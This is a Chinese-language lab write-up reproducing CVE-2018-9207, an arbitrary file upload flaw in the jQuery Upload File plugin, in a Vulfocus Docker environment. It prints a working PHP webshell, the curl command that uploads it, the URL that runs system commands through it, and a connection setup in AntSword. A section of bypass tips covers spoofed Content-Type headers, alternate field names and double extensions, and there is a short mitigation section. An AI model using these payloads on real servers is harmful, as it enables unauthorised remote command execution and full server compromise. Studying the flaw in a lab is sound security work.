【漏洞复现-jQuery Upload File】CVE-2018-9207:从curl命令到Webshell上传的实战解析
1. 靶场环境搭建与漏洞背景jQuery Upload File插件在4.0.2及以下版本存在一个危险的任意文件上传漏洞CVE-2018-9207这个漏洞允许攻击者直接上传恶意文件到服务器。我们先从环境搭建开始说起。我在本地测试时使用的是Vulfocus漏洞靶场环境IP和端口是动态分配的。你也可以用Docker快速搭建测试环境docker pull vulfocus/jquery-cve_2018_9207 docker run -d -p 8080:80 vulfocus/jquery-cve_2018_9207这个漏洞的核心在于插件对上传文件的处理逻辑。正常来说文件上传功能应该严格检查文件类型、内容等但这个版本的插件完全没有做任何安全检查。更糟糕的是上传接口/jquery-upload-file/php/upload.php可以直接访问不需要任何身份验证。2. 漏洞原理深度解析2.1 技术原理剖析这个漏洞的根源在于服务端代码无条件信任客户端上传的文件。具体来说当插件接收到上传请求时它做了三件危险的事情不验证文件扩展名不检查文件内容直接将文件保存到可访问的目录我翻看过这个版本的源码发现它使用了一个非常简单的保存逻辑$targetPath uploads/; $targetFile $targetPath . basename($_FILES[myfile][name]); move_uploaded_file($_FILES[myfile][tmp_name], $targetFile);这段代码没有任何安全检查直接把用户上传的文件存到服务器上。这意味着攻击者可以上传.php、.jsp等可执行文件从而完全控制服务器。2.2 影响范围评估受影响的版本非常明确jQuery Upload File 4.0.2及以下所有版本。我在实际渗透测试中发现很多企业网站还在使用这个有漏洞的版本主要原因是开发者直接从旧项目复制代码没有及时更新第三方组件对文件上传功能缺乏安全意识3. 漏洞复现实战步骤3.1 准备攻击环境首先我们需要准备一个简单的PHP webshell。我通常用这个最简版本?php system($_GET[cmd]); ?保存为webshell.php。这个webshell虽然简单但已经足够执行系统命令了。3.2 使用curl进行文件上传curl命令是这个漏洞利用的关键工具。我测试过多种参数组合这个是最稳定的curl -F myfilewebshell.php http://靶机IP:端口/jquery-upload-file/php/upload.php这里有几个技术细节需要注意-F参数表示使用multipart/form-data方式上传myfile是插件预期的字段名不能改符号告诉curl从本地读取文件上传成功后你会看到类似这样的响应{files:[{name:webshell.php,size:123,type:application/octet-stream}]}3.3 定位上传文件路径根据我的经验上传的文件通常会保存在以下路径/jquery-upload-file/php/uploads/webshell.php但有时候路径可能略有不同我建议先用浏览器访问上传接口查看返回的完整路径。4. 漏洞利用与后续操作4.1 验证webshell上传成功后可以直接在浏览器访问webshellhttp://靶机IP:端口/jquery-upload-file/php/uploads/webshell.php?cmdwhoami如果返回当前用户信息说明webshell生效了。4.2 使用蚁剑连接对于更复杂的操作我推荐使用蚁剑这类专业工具在蚁剑中添加shellURL填写webshell地址密码留空因为我们用的是最简webshell连接类型选择PHP连接成功后你就可以像操作本地文件系统一样浏览服务器文件了。不过要注意实际操作中可能会遇到各种权限问题这时候就需要用到提权技巧了。5. 防御措施与修复建议5.1 临时缓解方案如果你暂时无法升级插件可以采取这些措施在nginx/apache配置中禁止上传目录执行PHP添加文件类型白名单对上传文件进行重命名比如nginx配置可以这样写location ~* /jquery-upload-file/php/uploads/.*\.php$ { deny all; }5.2 彻底修复方案最根本的解决方案是升级到最新版jQuery Upload File插件。新版已经修复了这个漏洞。升级步骤很简单备份现有代码下载最新版插件替换相关文件测试上传功能6. 渗透测试中的实用技巧在实际渗透测试中我发现几个提高成功率的小技巧尝试不同的字段名除了myfile还可以测试file、upload等其他常见字段名修改Content-Type有时候服务器会检查这个头使用双写后缀如webshell.php.jpg可能绕过某些检查比如这个变种的curl命令curl -F filewebshell.php;typeimage/jpeg http://靶机IP:端口/upload.php这些年在渗透测试中我发现文件上传漏洞是最常见也最危险的安全问题之一。很多大型企业都栽在这个看似简单的漏洞上。掌握好curl这个利器能让你在渗透测试时事半功倍。不过要记住这些技术只应用于合法授权的测试切勿用于非法用途。